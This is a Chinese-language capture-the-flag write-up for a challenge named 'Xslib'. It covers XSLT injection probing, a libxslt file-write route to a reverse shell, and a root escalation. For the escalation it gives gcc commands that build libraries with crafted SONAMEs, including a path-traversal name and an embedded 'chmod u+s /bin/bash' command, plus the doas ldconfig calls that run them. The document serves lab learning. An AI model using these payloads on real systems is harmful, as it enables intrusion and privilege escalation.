

Xslib writeup by 菜叶片

Web部分

很简单的web 明显xslt注入 用经典payload探测xslt解析引擎

```
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
```

发现解析引擎是libxslt 1.0

在HackTricks找到libxslt的任意文件写入payload

<https://hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html?highlight=libxslt#libxslt--exslt-exsldocument>

在/health端点找到web应用目录 覆写 /opt/web/app.py 反弹shell

提权部分非预期解

这居然不是设计好的 真的太巧妙了

发现可以doas以root身份执行/sbin/ldconfig

分析脚本功能

scanelf -qS 解析传入的静态链接库SONAME和文件名 ln -sf 创建符号链接
由此 我们取得了在任意目录创建符号链接 指向同目录任意文件的能力

劫持符号链接

/bin/ln 是指向busybox的符号链接

构建SONAME为 ../../../../bin/ln 文件名为bash的静态链接库

执行 doas -u root /sbin/ldconfig ./bash

覆盖 /bin/ln 使其指向同目录的 bash 即 /bin/bash

此时脚本行为变成了 先 scanelf -qS 再 bash -sf

其中 bash的-s参数是从stdin读取命令行 -f参数是禁用通配符展开

脚本预期行为是 scanelf -qS 的输出 pipe进while 被read处理

但是 bash -sf 也在while块中 也继承了scanelf的输出

由此 scanelf的stdout 被间接pipe进 bash -sf 作为命令执行

我们创建两个静态链接库

文件名1 SONAME为 x

文件名2 SONAME为 `chmod u+s /bin/bash #`
执行 `doas -u root /sbin/ldconfig ./1 ./2`

脚本先调用 `scanelf -qS ./1 ./2` 输出

```
x ./1
chmod u+s /bin/bash # ./2
```

其中 `x ./1` 被read处理并解析 执行 `ln -sf 1 x` 实际为 `bash -sf 1 x`
`bash -sf` 继续读stdin 执行 `chmod u+s /bin/bash # ./2` 得到root shell

PoC

用以下脚本生成静态链接库 上传到靶机

```
gcc -shared -fPIC -Wl,-soname,'../../../../../../../../bin/ln' -o bash test.c
gcc -shared -fPIC -Wl,-soname,'x' -o 1 test.c
gcc -shared -fPIC -Wl,-soname,'chmod u+s /bin/bash #' -o 2 test.c
# test.c内容 void main() {} 能过编译就行
```

在靶机依次执行

```
doas -u root /sbin/ldconfig ./bash
doas -u root /sbin/ldconfig ./1 ./2
```

发现 `/bin/bash` 被添加suid标志位 `bash -p` 得到root euid
用任意方式把euid=0转换为ruid=0